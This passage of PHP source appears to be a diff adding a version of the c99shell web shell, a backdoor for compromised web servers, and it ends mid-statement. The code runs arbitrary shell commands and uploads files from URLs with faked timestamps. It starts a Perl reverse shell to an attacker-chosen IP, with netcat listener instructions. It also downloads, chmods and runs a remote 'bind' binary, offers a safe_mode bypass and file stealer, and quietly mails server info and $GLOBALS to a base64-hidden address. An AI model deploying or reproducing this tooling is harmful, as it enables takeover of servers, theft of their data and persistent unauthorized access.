"</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgcolor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + + + + + + + ?> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Bind Functions By r57 </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"> + </div> + <form action="<?php echo $surl; ?>"> +<b>Bind With Backd00r Burner</b></br><form action="<?php echo $surl;?>"><input type=hidden name=act value=tools><select size=\"1\" name=dolma><option value="wgetcan">Use Wget</option><option value="lynxcan">Use lynx -dump</option><option value="freadcan">Use Fread</option></select></br></br><input type="submit" value="Burn it bAby"></form> + </td> + <td width="50%" height="83" valign="top"><center> + <center> + + + <b>Back-Connection :</b></br><form action="<?php echo $surl;?>"> <b>Ip (default is your ip) :</br> </b><input type=hidden name=act value=tools><input type="text" name="ipi" value="<?echo getenv('REMOTE_ADDR');?>"></br><b>Port:</br></b><input type="text" name="pipi" value="4392"></br><input type="submit" value="C0nnect ->"></br></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> + + </center> + </td> +</tr></TABLE> + + + + + + + +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>File Stealer Function Ripped fRom Tontonq 's File Stealer ... </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"><b>Safe_Mode Bypass</b> + <form action="<?php echo $surl; ?>" method="POST"> + <input type=hidden name=act value=tools> + <textarea name="erorr" cols=100 rows=10></textarea></br> + <input type="text" name="nere" value="<?echo "$real\index.php";?> "size=84> + <input type="submit" value="Write 2 File !!"> + + </form> + + + + + + + + + + + + </div> + + </td> + <td width="50%" height="83" valign="top"><center> + <center> + <form action="<?php echo $surl; ?>" method="POST"> + <input type=hidden name=act value=tools> + Dosyanin Adresi ? = <input type="text" name="dosyaa" size="81" maxlength=500 value=""><br><br> +Nereya Kaydolcak? = <input type="text" name="yeniyer" size=81 maxlength=191 value="<?php echo "$real/sploitz.zip"; ?>"><br><br> +<input type=submit class='stealthSubmit' Value='Dosyayi Chek'> +</form> +<br><br><br> + + + + + </center> + + </center> + </td> +</tr></TABLE> + + + + + + + + + + + + +<?php + +if (isset($_POST['dosyaa'])) +{ +dosyayicek($_POST['dosyaa'],$_POST['yeniyer']); + +} +if (!empty($_GET['ipi']) && !empty($_GET['pipi'])) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_GET['ipi']." ".$_GET['pipi']." &"); +echo"<b>Now script try connect to ".$_GET['ipi']." port ".$_GET['pipi']." ...</b>"; +} +if (!empty($_GET['dolma'])) +{ +$sayko=htmlspecialchars($_GET['dolma']); +if ($sayko == "wgetcan") +{ + +myshellexec("wget $adires -O sayko_bind;chmod 777 sayko_bind;./sayko_bind"); + + +} + +else if ($sayko 